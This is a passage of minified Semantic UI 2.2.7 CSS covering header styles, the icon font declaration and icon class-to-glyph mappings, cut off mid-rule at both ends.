.sub.header{font-size:.92857143rem}.ui.sub.header{padding:0;margin-bottom:.14285714rem;font-weight:700;font-size:.85714286em;text-transform:uppercase;color:''}.ui.small.sub.header{font-size:.78571429em}.ui.sub.header{font-size:.85714286em}.ui.large.sub.header{font-size:.92857143em}.ui.huge.sub.header{font-size:1em}.ui.icon.header{display:inline-block;text-align:center;margin:2rem 0 1rem}.ui.icon.header:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.icon.header:first-child{margin-top:0}.ui.icon.header .icon{float:none;display:block;width:auto;height:auto;line-height:1;padding:0;font-size:3em;margin:0 auto .5rem;opacity:1}.ui.icon.header .content{display:block;padding:0}.ui.icon.header .circular.icon{font-size:2em}.ui.icon.header .square.icon{font-size:2em}.ui.block.icon.header .icon{margin-bottom:0}.ui.icon.header.aligned{margin-left:auto;margin-right:auto;display:block}.ui.disabled.header{opacity:.45}.ui.inverted.header{color:#fff}.ui.inverted.header .sub.header{color:rgba(255,255,255,.8)}.ui.inverted.attached.header{background:#545454 -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#545454 linear-gradient(transparent,rgba(0,0,0,.05));box-shadow:none;border-color:transparent}.ui.inverted.block.header{background:#545454 -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#545454 linear-gradient(transparent,rgba(0,0,0,.05));box-shadow:none}.ui.inverted.block.header{border-bottom:none}.ui.red.header{color:#db2828!important}a.ui.red.header:hover{color:#d01919!important}.ui.red.dividing.header{border-bottom:2px solid #db2828}.ui.inverted.red.header{color:#ff695e!important}a.ui.inverted.red.header:hover{color:#ff5144!important}.ui.orange.header{color:#f2711c!important}a.ui.orange.header:hover{color:#f26202!important}.ui.orange.dividing.header{border-bottom:2px solid #f2711c}.ui.inverted.orange.header{color:#ff851b!important}a.ui.inverted.orange.header:hover{color:#ff7701!important}.ui.olive.header{color:#b5cc18!important}a.ui.olive.header:hover{color:#a7bd0d!important}.ui.olive.dividing.header{border-bottom:2px solid #b5cc18}.ui.inverted.olive.header{color:#d9e778!important}a.ui.inverted.olive.header:hover{color:#d8ea5c!important}.ui.yellow.header{color:#fbbd08!important}a.ui.yellow.header:hover{color:#eaae00!important}.ui.yellow.dividing.header{border-bottom:2px solid #fbbd08}.ui.inverted.yellow.header{color:#ffe21f!important}a.ui.inverted.yellow.header:hover{color:#ffdf05!important}.ui.green.header{color:#21ba45!important}a.ui.green.header:hover{color:#16ab39!important}.ui.green.dividing.header{border-bottom:2px solid #21ba45}.ui.inverted.green.header{color:#2ecc40!important}a.ui.inverted.green.header:hover{color:#22be34!important}.ui.teal.header{color:#00b5ad!important}a.ui.teal.header:hover{color:#009c95!important}.ui.teal.dividing.header{border-bottom:2px solid #00b5ad}.ui.inverted.teal.header{color:#6dffff!important}a.ui.inverted.teal.header:hover{color:#54ffff!important}.ui.blue.header{color:#2185d0!important}a.ui.blue.header:hover{color:#1678c2!important}.ui.blue.dividing.header{border-bottom:2px solid #2185d0}.ui.inverted.blue.header{color:#54c8ff!important}a.ui.inverted.blue.header:hover{color:#3ac0ff!important}.ui.violet.header{color:#6435c9!important}a.ui.violet.header:hover{color:#5829bb!important}.ui.violet.dividing.header{border-bottom:2px solid #6435c9}.ui.inverted.violet.header{color:#a291fb!important}a.ui.inverted.violet.header:hover{color:#8a73ff!important}.ui.purple.header{color:#a333c8!important}a.ui.purple.header:hover{color:#9627ba!important}.ui.purple.dividing.header{border-bottom:2px solid #a333c8}.ui.inverted.purple.header{color:#dc73ff!important}a.ui.inverted.purple.header:hover{color:#d65aff!important}.ui.pink.header{color:#e03997!important}a.ui.pink.header:hover{color:#e61a8d!important}.ui.pink.dividing.header{border-bottom:2px solid #e03997}.ui.inverted.pink.header{color:#ff8edf!important}a.ui.inverted.pink.header:hover{color:#ff74d8!important}.ui.brown.header{color:#a5673f!important}a.ui.brown.header:hover{color:#975b33!important}.ui.brown.dividing.header{border-bottom:2px solid #a5673f}.ui.inverted.brown.header{color:#d67c1c!important}a.ui.inverted.brown.header:hover{color:#c86f11!important}.ui.grey.header{color:#767676!important}a.ui.grey.header:hover{color:#838383!important}.ui.grey.dividing.header{border-bottom:2px solid #767676}.ui.inverted.grey.header{color:#dcddde!important}a.ui.inverted.grey.header:hover{color:#cfd0d2!important}.ui.left.aligned.header{text-align:left}.ui.right.aligned.header{text-align:right}.ui.center.aligned.header,.ui.centered.header{text-align:center}.ui.justified.header{text-align:justify}.ui.justified.header:after{display:inline-block;content:'';width:100%}.ui.floated.header,.ui[class*="left floated"].header{float:left;margin-top:0;margin-right:.5em}.ui[class*="right floated"].header{float:right;margin-top:0;margin-left:.5em}.ui.fitted.header{padding:0}.ui.dividing.header{padding-bottom:.21428571rem;border-bottom:1px solid rgba(34,36,38,.15)}.ui.dividing.header .sub.header{padding-bottom:.21428571rem}.ui.dividing.header .icon{margin-bottom:0}.ui.inverted.dividing.header{border-bottom-color:rgba(255,255,255,.1)}.ui.block.header{background:#f3f4f5;padding:.78571429rem 1rem;box-shadow:none;border:1px solid #d4d4d5;border-radius:.28571429rem}.ui.tiny.block.header{font-size:.85714286rem}.ui.small.block.header{font-size:.92857143rem}.ui.block.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1rem}.ui.large.block.header{font-size:1.14285714rem}.ui.huge.block.header{font-size:1.42857143rem}.ui.attached.header{background:#fff;padding:.78571429rem 1rem;margin-left:-1px;margin-right:-1px;box-shadow:none;border:1px solid #d4d4d5}.ui.attached.block.header{background:#f3f4f5}.ui.attached:not(.top):not(.bottom).header{margin-top:0;margin-bottom:0;border-top:none;border-radius:0}.ui.top.attached.header{margin-bottom:0;border-radius:.28571429rem .28571429rem 0 0}.ui.bottom.attached.header{margin-top:0;border-top:none;border-radius:0 0 .28571429rem .28571429rem}.ui.tiny.attached.header{font-size:.85714286em}.ui.small.attached.header{font-size:.92857143em}.ui.attached.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1em}.ui.large.attached.header{font-size:1.14285714em}.ui.huge.attached.header{font-size:1.42857143em}.ui.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1.28em}/*! * # Semantic UI 2.2.7 - Icon * path_to_url * * * Released under the MIT license * path_to_url * */@font-face{font-family:Icons;src:url(themes/default/assets/fonts/icons.eot);src:url(themes/default/assets/fonts/icons.eot?#iefix) format('embedded-opentype'),url(themes/default/assets/fonts/icons.woff2) format('woff2'),url(themes/default/assets/fonts/icons.woff) format('woff'),url(themes/default/assets/fonts/icons.ttf) format('truetype'),url(themes/default/assets/fonts/icons.svg#icons) format('svg');font-style:normal;font-weight:400;font-variant:normal;text-decoration:inherit;text-transform:none}i.icon{display:inline-block;opacity:1;margin:0 .25rem 0 0;width:1.18em;height:1em;font-family:Icons;font-style:normal;font-weight:400;text-decoration:inherit;text-align:center;speak:none;font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;-webkit-backface-visibility:hidden;backface-visibility:hidden}i.icon:before{background:0 0!important}i.icon.loading{height:1em;line-height:1;-webkit-animation:icon-loading 2s linear infinite;animation:icon-loading 2s linear infinite}@-webkit-keyframes icon-loading{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes icon-loading{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}i.icon.hover{opacity:1!important}i.icon.active{opacity:1!important}i.emphasized.icon{opacity:1!important}i.disabled.icon{opacity:.45!important}i.fitted.icon{width:auto;margin:0}i.link.icon,i.link.icons{cursor:pointer;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}i.link.icon:hover,i.link.icons:hover{opacity:1!important}i.circular.icon{border-radius:500em!important;line-height:1!important;padding:.5em .5em!important;box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset;width:2em!important;height:2em!important}i.circular.inverted.icon{border:none;box-shadow:none}i.flipped.icon,i.horizontally.flipped.icon{-webkit-transform:scale(-1,1);transform:scale(-1,1)}i.vertically.flipped.icon{-webkit-transform:scale(1,-1);transform:scale(1,-1)}i.clockwise.rotated.icon,i.right.rotated.icon,i.rotated.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}i.counterclockwise.rotated.icon,i.left.rotated.icon{-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}i.bordered.icon{line-height:1;vertical-align:baseline;width:2em;height:2em;padding:.5em .41em!important;box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset}i.bordered.inverted.icon{border:none;box-shadow:none}i.inverted.bordered.icon,i.inverted.circular.icon{background-color:#1b1c1d!important;color:#fff!important}i.inverted.icon{color:#fff}i.red.icon{color:#db2828!important}i.inverted.red.icon{color:#ff695e!important}i.inverted.bordered.red.icon,i.inverted.circular.red.icon{background-color:#db2828!important;color:#fff!important}i.orange.icon{color:#f2711c!important}i.inverted.orange.icon{color:#ff851b!important}i.inverted.bordered.orange.icon,i.inverted.circular.orange.icon{background-color:#f2711c!important;color:#fff!important}i.yellow.icon{color:#fbbd08!important}i.inverted.yellow.icon{color:#ffe21f!important}i.inverted.bordered.yellow.icon,i.inverted.circular.yellow.icon{background-color:#fbbd08!important;color:#fff!important}i.olive.icon{color:#b5cc18!important}i.inverted.olive.icon{color:#d9e778!important}i.inverted.bordered.olive.icon,i.inverted.circular.olive.icon{background-color:#b5cc18!important;color:#fff!important}i.green.icon{color:#21ba45!important}i.inverted.green.icon{color:#2ecc40!important}i.inverted.bordered.green.icon,i.inverted.circular.green.icon{background-color:#21ba45!important;color:#fff!important}i.teal.icon{color:#00b5ad!important}i.inverted.teal.icon{color:#6dffff!important}i.inverted.bordered.teal.icon,i.inverted.circular.teal.icon{background-color:#00b5ad!important;color:#fff!important}i.blue.icon{color:#2185d0!important}i.inverted.blue.icon{color:#54c8ff!important}i.inverted.bordered.blue.icon,i.inverted.circular.blue.icon{background-color:#2185d0!important;color:#fff!important}i.violet.icon{color:#6435c9!important}i.inverted.violet.icon{color:#a291fb!important}i.inverted.bordered.violet.icon,i.inverted.circular.violet.icon{background-color:#6435c9!important;color:#fff!important}i.purple.icon{color:#a333c8!important}i.inverted.purple.icon{color:#dc73ff!important}i.inverted.bordered.purple.icon,i.inverted.circular.purple.icon{background-color:#a333c8!important;color:#fff!important}i.pink.icon{color:#e03997!important}i.inverted.pink.icon{color:#ff8edf!important}i.inverted.bordered.pink.icon,i.inverted.circular.pink.icon{background-color:#e03997!important;color:#fff!important}i.brown.icon{color:#a5673f!important}i.inverted.brown.icon{color:#d67c1c!important}i.inverted.bordered.brown.icon,i.inverted.circular.brown.icon{background-color:#a5673f!important;color:#fff!important}i.grey.icon{color:#767676!important}i.inverted.grey.icon{color:#dcddde!important}i.inverted.bordered.grey.icon,i.inverted.circular.grey.icon{background-color:#767676!important;color:#fff!important}i.black.icon{color:#1b1c1d!important}i.inverted.black.icon{color:#545454!important}i.inverted.bordered.black.icon,i.inverted.circular.black.icon{background-color:#1b1c1d!important;color:#fff!important}i.mini.icon,i.mini.icons{line-height:1;font-size:.4em}i.tiny.icon,i.tiny.icons{line-height:1;font-size:.5em}i.small.icon,i.small.icons{line-height:1;font-size:.75em}i.icon,i.icons{font-size:1em}i.large.icon,i.large.icons{line-height:1;vertical-align:middle;font-size:1.5em}i.big.icon,i.big.icons{line-height:1;vertical-align:middle;font-size:2em}i.huge.icon,i.huge.icons{line-height:1;vertical-align:middle;font-size:4em}i.massive.icon,i.massive.icons{line-height:1;vertical-align:middle;font-size:8em}i.icons{display:inline-block;position:relative;line-height:1}i.icons .icon{position:absolute;top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);margin:0;margin:0}i.icons .icon:first-child{position:static;width:auto;height:auto;vertical-align:top;-webkit-transform:none;transform:none;margin-right:.25rem}i.icons .corner.icon{top:auto;left:auto;right:0;bottom:0;-webkit-transform:none;transform:none;font-size:.45em;text-shadow:-1px -1px 0 #fff,1px -1px 0 #fff,-1px 1px 0 #fff,1px 1px 0 #fff}i.icons .inverted.corner.icon{text-shadow:-1px -1px 0 #1b1c1d,1px -1px 0 #1b1c1d,-1px 1px 0 #1b1c1d,1px 1px 0 #1b1c1d}i.icon.search:before{content:"\f002"}i.icon.mail.outline:before{content:"\f003"}i.icon.signal:before{content:"\f012"}i.icon.setting:before{content:"\f013"}i.icon.home:before{content:"\f015"}i.icon.inbox:before{content:"\f01c"}i.icon.browser:before{content:"\f022"}i.icon.tag:before{content:"\f02b"}i.icon.tags:before{content:"\f02c"}i.icon.image:before{content:"\f03e"}i.icon.calendar:before{content:"\f073"}i.icon.comment:before{content:"\f075"}i.icon.shop:before{content:"\f07a"}i.icon.comments:before{content:"\f086"}i.icon.external:before{content:"\f08e"}i.icon.privacy:before{content:"\f084"}i.icon.settings:before{content:"\f085"}i.icon.comments:before{content:"\f086"}i.icon.external:before{content:"\f08e"}i.icon.trophy:before{content:"\f091"}i.icon.payment:before{content:"\f09d"}i.icon.feed:before{content:"\f09e"}i.icon.alarm.outline:before{content:"\f0a2"}i.icon.tasks:before{content:"\f0ae"}i.icon.cloud:before{content:"\f0c2"}i.icon.lab:before{content:"\f0c3"}i.icon.mail:before{content:"\f0e0"}i.icon.dashboard:before{content:"\f0e4"}i.icon.comment.outline:before{content:"\f0e5"}i.icon.comments.outline:before{content:"\f0e6"}i.icon.sitemap:before{content:"\f0e8"}i.icon.idea:before{content:"\f0eb"}i.icon.alarm:before{content:"\f0f3"}i.icon.terminal:before{content:"\f120"}i.icon.code:before{content:"\f121"}i.icon.protect:before{content:"\f132"}i.icon.calendar.outline:before{content:"\f133"}i.icon.ticket:before{content:"\f145"}i.icon.external.square:before{content:"\f14c"}i.icon.bug:before{content:"\f188"}i.icon.mail.square:before{content:"\f199"}i.icon.history:before{content:"\f1da"}i.icon.options:before{content:"\f1de"}i.icon.text.telephone:before{content:"\f1e4"}i.icon.find:before{content:"\f1e5"}i.icon.wifi:before{content:"\f1eb"}i.icon.alarm.mute:before{content:"\f1f6"}i.icon.alarm.mute.outline:before{content:"\f1f7"}i.icon.copyright:before{content:"\f1f9"}i.icon.at:before{content:"\f1fa"}i.icon.eyedropper:before{content:"\f1fb"}i.icon.paint.brush:before{content:"\f1fc"}i.icon.heartbeat:before{content:"\f21e"}i.icon.mouse.pointer:before{content:"\f245"}i.icon.hourglass.empty:before{content:"\f250"}i.icon.hourglass.start:before{content:"\f251"}i.icon.hourglass.half:before{content:"\f252"}i.icon.hourglass.end:before{content:"\f253"}i.icon.hourglass.full:before{content:"\f254"}i.icon.hand.pointer:before{content:"\f25a"}i.icon.trademark:before{content:"\f25c"}i.icon.registered:before{content:"\f25d"}i.icon.creative.commons:before{content:"\f25e"}i.icon.add.to.calendar:before{content:"\f271"}i.icon.remove.from.calendar:before{content:"\f272"}i.icon.delete.calendar:before{content:"\f273"}i.icon.checked.calendar:before{content:"\f274"}i.icon.industry:before{content:"\f275"}i.icon.shopping.bag:before{content:"\f290"}i.icon.shopping.basket:before{content:"\f291"}i.icon.hashtag:before{content:"\f292"}i.icon.percent:before{content:"\f295"}i.icon.wait:before{content:"\f017"}i.icon.download:before{content:"\f019"}i.icon.repeat:before{content:"\f01e"}i.icon.refresh:before{content:"\f021"}i.icon.lock:before{content:"\f023"}i.icon.bookmark:before{content:"\f02e"}i.icon.print:before{content:"\f02f"}i.icon.write:before{content:"\f040"}i.icon.adjust:before{content:"\f042"}i.icon.theme:before{content:"\f043"}i.icon.edit:before{content:"\f044"}i.icon.external.share:before{content:"\f045"}i.icon.ban:before{content:"\f05e"}i.icon.mail.forward:before{content:"\f064"}i.icon.share:before{content:"\f064"}i.icon.expand:before{content:"\f065"}i.icon.compress:before{content:"\f066"}i.icon.unhide:before{content:"\f06e"}i.icon.hide:before{content:"\f070"}i.icon.random:before{content:"\f074"}i.icon.retweet:before{content:"\f079"}i.icon.sign.out:before{content:"\f08b"}i.icon.pin:before{content:"\f08d"}i.icon.sign.in:before{content:"\f090"}i.icon.upload:before{content:"\f093"}i.icon.call:before{content:"\f095"}i.icon.remove.bookmark:before{content:"\f097"}i.icon.call.square:before{content:"\f098"}i.icon.unlock:before{content:"\f09c"}i.icon.configure:before{content:"\f0ad"}i.icon.filter:before{content:"\f0b0"}i.icon.wizard:before{content:"\f0d0"}i.icon.undo:before{content:"\f0e2"}i.icon.exchange:before{content:"\f0ec"}i.icon.cloud.download:before{content:"\f0ed"}i.icon.cloud.upload:before{content:"\f0ee"}i.icon.reply:before{content:"\f112"}i.icon.reply.all:before{content:"\f122"}i.icon.erase:before{content:"\f12d"}i.icon.unlock.alternate:before{content:"\f13e"}i.icon.write.square:before{content:"\f14b"}i.icon.share.square:before{content:"\f14d"}i.icon.archive:before{content:"\f187"}i.icon.translate:before{content:"\f1ab"}i.icon.recycle:before{content:"\f1b8"}i.icon.send:before{content:"\f1d8"}i.icon.send.outline:before{content:"\f1d9"}i.icon.share.alternate:before{content:"\f1e0"}i.icon.share.alternate.square:before{content:"\f1e1"}i.icon.add.to.cart:before{content:"\f217"}i.icon.in.cart:before{content:"\f218"}i.icon.add.user:before{content:"\f234"}i.icon.remove.user:before{content:"\f235"}i.icon.object.group:before{content:"\f247"}i.icon.object.ungroup:before{content:"\f248"}i.icon.clone:before{content:"\f24d"}i.icon.talk:before{content:"\f27a"}i.icon.talk.outline:before{content:"\f27b"}i.icon.help.circle:before{content:"\f059"}i.icon.info.circle:before{content:"\f05a"}i.icon.warning.circle:before{content:"\f06a"}i.icon.warning.sign:before{content:"\f071"}i.icon.announcement:before{content:"\f0a1"}i.icon.help:before{content:"\f128"}i.icon.info:before{content:"\f129"}i.icon.warning:before{content:"\f12a"}i.icon.birthday:before{content:"\f1fd"}i.icon.help.circle.outline:before{content:"\f29c"}i.icon.user:before{content:"\f007"}i.icon.users:before{content:"\f0c0"}i.icon.doctor:before{content:"\f0f0"}i.icon.handicap:before{content:"\f193"}i.icon.student:before{content:"\f19d"}i.icon.child:before{content:"\f1ae"}i.icon.spy:before{content:"\f21b"}i.icon.female:before{content:"\f182"}i.icon.male:before{content:"\f183"}i.icon.woman:before{content:"\f221"}i.icon.man:before{content:"\f222"}i.icon.non.binary.transgender:before{content:"\f223"}i.icon.intergender:before{content:"\f224"}i.icon.transgender:before{content:"\f225"}i.icon.lesbian:before{content:"\f226"}i.icon.gay:before{content:"\f227"}i.icon.heterosexual:before{content:"\f228"}i.icon.other.gender:before{content:"\f229"}i.icon.other.gender.vertical:before{content:"\f22a"}i.icon.other.gender.horizontal:before{content:"\f22b"}i.icon.neuter:before{content:"\f22c"}i.icon.genderless:before{content:"\f22d"}i.icon.universal.access:before{content:"\f29a"}i.icon.wheelchair:before{content:"\f29b"}i.icon.blind:before{content:"\f29d"}i.icon.audio.description:before{content:"\f29e"}i.icon.volume.control.phone:before{content:"\f2a0"}i.icon.braille:before{content:"\f2a1"}i.icon.asl:before{content:"\f2a3"}i.icon.assistive.listening.systems:before{content:"\f2a2"}i.icon.deafness:before{content:"\f2a4"}i.icon.sign.language:before{content:"\f2a7"}i.icon.low.vision:before{content:"\f2a8"}i.icon.block.layout:before{content:"\f009"}i.icon.grid.layout:before{content:"\f00a"}i.icon.list.layout:before{content:"\f00b"}i.icon.zoom:before{content:"\f00e"}i.icon.zoom.out:before{content:"\f010"}i.icon.resize.vertical:before{content:"\f07d"}i.icon.resize.horizontal:before{content:"\f07e"}i.icon.maximize:before{content:"\f0b2"}i.icon.crop:before{content:"\f125"}i.icon.cocktail:before{content:"\f000"}i.icon.road:before{content:"\f018"}i.icon.flag:before{content:"\f024"}i.icon.book:before{content:"\f02d"}i.icon.gift:before{content:"\f06b"}i.icon.leaf:before{content:"\f06c"}i.icon.fire:before{content:"\f06d"}i.icon.plane:before{content:"\f072"}i.icon.magnet:before{content:"\f076"}i.icon.lemon:before{content:"\f094"}i.icon.world:before{content:"\f0ac"}i.icon.travel:before{content:"\f0b1"}i.icon.shipping:before{content:"\f0d1"}i.icon.money:before{content:"\f0d6"}i.icon.legal:before{content:"\f0e3"}i.icon.lightning:before{content:"\f0e7"}i.icon.umbrella:before{content:"\f0e9"}i.icon.treatment:before{content:"\f0f1"}i.icon.suitcase:before{content:"\f0f2"}i.icon.bar:before{content:"\f0fc"}i.icon.flag.outline:before{content:"\f11d"}i.icon.flag.checkered:before{content:"\f11e"}i.icon.puzzle:before{content:"\f12e"}i.icon.fire.extinguisher:before{content:"\f134"}i.icon.rocket:before{content:"\f135"}i.icon.anchor:before{content:"\f13d"}i.icon.bullseye:before{content:"\f140"}i.icon.sun:before{content:"\f185"}i.icon.moon:before{content:"\f186"}i.icon.fax:before{content:"\f1ac"}i.icon.life.ring:before{content:"\f1cd"}i.icon.bomb:before{content:"\f1e2"}i.icon.soccer:before{content:"\f1e3"}i.icon.calculator:before{content:"\f1ec"}i.icon.diamond:before{content:"\f219"}i.icon.sticky.note:before{content:"\f249"}i.icon.sticky.note.outline:before{content:"\f24a"}i.icon.law:before{content:"\f24e"}i.icon.hand.peace:before{content:"\f25b"}i.icon.hand.rock:before{content:"\f255"}i.icon.hand.paper:before{content:"\f256"}i.icon.hand.scissors:before{content:"\f257"}i.icon.hand.lizard:before{content:"\f258"}i.icon.hand.spock:before{content:"\f259"}i.icon.tv:before{content:"\f26c"}i.icon.crosshairs:before{content:"\f05b"}i.icon.asterisk:before{content:"\f069"}i.icon.square.outline:before{content:"\f096"}i.icon.certificate:before{content:"\f0a3"}i.icon.square:before{content:"\f0c8"}i.icon.quote.left:before{content:"\f10d"}i.icon.quote.right:before{content:"\f10e"}i.icon.spinner:before{content:"\f110"}i.icon.circle:before{content:"\f111"}i.icon.ellipsis.horizontal:before{content:"\f141"}i.icon.ellipsis.vertical:before{content:"\f142"}i.icon.cube:before{content:"\f1b2"}i.icon.cubes:before{content:"\f1b3"}i.icon.circle.notched:before{content:"\f1ce"}i.icon.circle.thin:before{content:"\f1db"}i.icon.checkmark:before{content:"\f00c"}i.icon.remove:before{content:"\f00d"}i.icon.checkmark.box:before{content:"\f046"}i.icon.move:before{content:"\f047"}i.icon.add.circle:before{content:"\f055"}i.icon.minus.circle:before{content:"\f056"}i.icon.remove.circle:before{content:"\f057"}i.icon.check.circle:before{content:"\f058"}i.icon.remove.circle.outline:before{content:"\f05c"}i.icon.check.circle.outline:before{content:"\f05d"}i.icon.plus:before{content:"\f067"}i.icon.minus:before{content:"\f068"}i.icon.add.square:before{content:"\f0fe"}i.icon.radio:before{content:"\f10c"}i.icon.minus.square:before{content:"\f146"}i.icon.minus.square.outline:before{content:"\f147"}i.icon.check.square:before{content:"\f14a"}i.icon.selected.radio:before{content:"\f192"}i.icon.plus.square.outline:before{content:"\f196"}i.icon.toggle.off:before{content:"\f204"}i.icon.toggle.on:before{content:"\f205"}i.icon.film:before{content:"\f008"}i.icon.sound:before{content:"\f025"}i.icon.photo:before{content:"\f030"}i.icon.bar.chart:before{content:"\f080"}i.icon.camera.retro:before{content:"\f083"}i.icon.newspaper:before{content:"\f1ea"}i.icon.area.chart:before{content:"\f1fe"}i.icon.pie.chart:before{content:"\f200"}i.icon.line.chart:before{content:"\f201"}i.icon.arrow.circle.outline.down:before{content:"\f01a"}i.icon.arrow.circle.outline.up:before{content:"\f01b"}i.icon.chevron.left:before{content:"\f053"}i.icon.chevron.right:before{content:"\f054"}i.icon.arrow.left:before{content:"\f060"}i.icon.arrow.right:before{content:"\f061"}i.icon.arrow.up:before{content:"\f062"}i.icon.arrow.down:before{content:"\f063"}i.icon.chevron.up:before{content:"\f077"}i.icon.chevron.down:before{content:"\f078"}i.icon.pointing.right:before{content:"\f0a4"}i.icon.pointing.left:before{content:"\f0a5"}i.icon.pointing.up:before{content:"\f0a6"}i.icon.pointing.down:before{content:"\f0a7"}i.icon.arrow.circle.left:before{content:"\f0a8"}i.icon.arrow.circle.right:before{content:"\f0a9"}i.icon.arrow.circle.up:before{content:"\f0aa"}i.icon.arrow.circle.down:before{content:"\f0ab"}i.icon.caret.down:before{content:"\f0d7"}i.icon.caret.up:before{content:"\f0d8"}i.icon.caret.left:before{content:"\f0d9"}i.icon.caret.right:before{content:"\f0da"}i.icon.angle.double.left:before{content:"\f100"}i.icon.angle.double.right:before{content:"\f101"}i.icon.angle.double.up:before{content:"\f102"}i.icon.angle.double.down:before{content:"\f103"}i.icon.angle.left:before{content:"\f104"}i.icon.angle.right:before{content:"\f105"}i.icon.angle.up:before{content:"\f106"}i.icon.angle.down:before{content:"\f107"}i.icon.chevron.circle.left:before{content:"\f137"}i.icon.chevron.circle.right:before{content:"\f138"}i.icon.chevron.circle.up:before{content:"\f139"}i.icon.chevron.circle.down:before{content:"\f13a"}i.icon.toggle.down:before{content:"\f150"}i.icon.toggle.up:before{content:"\f151"}i.icon.toggle.right:before{content:"\f152"}i.icon.long.arrow.down:before{content:"\f175"}i.icon.long.arrow.up:before{content:"\f176"}i.icon.long.arrow.left:before{content:"\f177"}i.icon.long.arrow.right:before{content:"\f178"}i.icon.arrow.circle.outline.right:before{content:"\f18e"}i.icon.arrow.circle.outline.left:before{content:"\f190"}i.icon.toggle.left:before{content:"\f191"}i.icon.tablet:before{content:"\f10a"}i.icon.mobile:before{content:"\f10b"}i.icon.battery.full:before{content:"\f240"}i.icon.battery.high:before{content:"\f241"}i.icon.battery.medium:before{content:"\f242"}i.icon.battery.low:before{content:"\f243"}i.icon.battery.empty:before{content:"\f244"}i.icon.power:before{content:"\f011"}i.icon.trash.outline:before{content:"\f014"}i.icon.disk.outline:before{content:"\f0a0"}i.icon.desktop:before{content:"\f108"}i.icon.laptop:before{content:"\f109"}i.icon.game:before{content:"\f11b"}i.icon.keyboard:before{content:"\f11c"}i.icon.plug:before{content:"\f1e6"}i.icon.trash:before{content:"\f1f8"}i.icon.file.outline:before{content:"\f016"}i.icon.folder:before{content:"\f07b"}i.icon.folder.open:before{content:"\f07c"}i.icon.file.text.outline:before{content:"\f0f6"}i.icon.folder.outline:before{content:"\f114"}i.icon.folder.open.outline:before{content:"\f115"}i.icon.level.up:before{content:"\f148"}i.icon.level.down:before{content:"\f149"}i.icon.file:before{content:"\f15b"}i.icon.file.text:before{content:"\f15c"}i.icon.file.pdf.outline:before{content:"\f1c1"}i.icon.file.word.outline:before{content:"\f1c2"}i.icon.file.excel.outline:before{content:"\f1c3"}i.icon.file.powerpoint.outline:before{content:"\f1c4"}i.icon.file.image.outline:before{content:"\f1c5"}i.icon.file.archive.outline:before{content:"\f1c6"}i.icon.file.audio.outline:before{content:"\f1c7"}i.icon.file.video.outline:before{content:"\f1c8"}i.icon.file.code.outline:before{content:"\f1c9"}i.icon.qrcode:before{content:"\f029"}i.icon.barcode:before{content:"\f02a"}i.icon.rss:before{content:"\f09e"}i.icon.fork:before{content:"\f126"}i.icon.html5:before{content:"\f13b"}i.icon.css3:before{content:"\f13c"}i.icon.rss.square:before{content:"\f143"}i.icon.openid:before{content:"\f19b"}i.icon.database:before{content:"\f1c0"}i.icon.server:before{content:"\f233"}i.icon.usb:before{content:"\f287"}i.icon.bluetooth:before{content:"\f293"}i.icon.bluetooth.alternative:before{content:"\f294"}i.icon.heart:before{content:"\f004"}i.icon.star:before{content:"\f005"}i.icon.empty.star:before{content:"\f006"}i.icon.thumbs.outline.up:before{content:"\f087"}i.icon.thumbs.outline.down:before{content:"\f088"}i.icon.star.half:before{content:"\f089"}i.icon.empty.heart:before{content:"\f08a"}i.icon.smile:before{content:"\f118"}i.icon.frown:before{content:"\f119"}i.icon.meh:before{content:"\f11a"}i.icon.star.half.empty:before{content:"\f123"}i.icon.thumbs.up:before{content:"\f164"}i.icon.thumbs.down:before{content:"\f165"}i.icon.music:before{content:"\f001"}i.icon.video.play.outline:before{content:"\f01d"}i.icon.volume.off:before{content:"\f026"}i.icon.volume.down:before{content:"\f027"}i.icon.volume.up:before{content:"\f028"}i.icon.record:before{content:"\f03d"}i.icon.step.backward:before{content:"\f048"}i.icon.fast.backward:before{content:"\f049"}i.icon.backward:before{content:"\f04a"}i.icon.play:before{content:"\f04b"}i.icon.pause:before{content:"\f04c"}i.icon.stop:before{content:"\f04d"}i.icon.forward:before{content:"\f04e"}i.icon.fast.forward:before{content:"\f050"}i.icon.step.forward:before{content:"\f051"}i.icon.eject:before{content:"\f052"}i.icon.unmute:before{content:"\f130"}i.icon.mute:before{content:"\f131"}i.icon.video.play:before{content:"\f144"}i.icon.closed.captioning:before{content:"\f20a"}i.icon.pause.circle:before{content:"\f28b"}i.icon.pause.circle.outline:before{content:"\f28c"}i.icon.stop.circle:before{content:"\f28d"}i.icon.stop.circle.outline:before{content:"\f28e"}i.icon.marker:before{content:"\f041"}i.icon.coffee:before{content:"\f0f4"}i.icon.food:before{content:"\f0f5"}i.icon.building.outline:before{content:"\f0f7"}i.icon.hospital:before{content:"\f0f8"}i.icon.emergency:before{content:"\f0f9"}i.icon.first.aid:before{content:"\f0fa"}i.icon.military:before{content:"\f0fb"}i.icon.h:before{content:"\f0fd"}i.icon.location.arrow:before{content:"\f124"}i.icon.compass:before{content:"\f14e"}i.icon.space.shuttle:before{content:"\f197"}i.icon.university:before{content:"\f19c"}i.icon.building:before{content:"\f1ad"}i.icon.paw:before{content:"\f1b0"}i.icon.spoon:before{content:"\f1b1"}i.icon.car:before{content:"\f1b9"}i.icon.taxi:before{content:"\f1ba"}i.icon.tree:before{content:"\f1bb"}i.icon.bicycle:before{content:"\f206"}i.icon.bus:before{content:"\f207"}i.icon.ship:before{content:"\f21a"}i.icon.motorcycle:before{content:"\f21c"}i.icon.street.view:before{content:"\f21d"}i.icon.hotel:before{content:"\f236"}i.icon.train:before{content:"\f238"}i.icon.subway:before{content:"\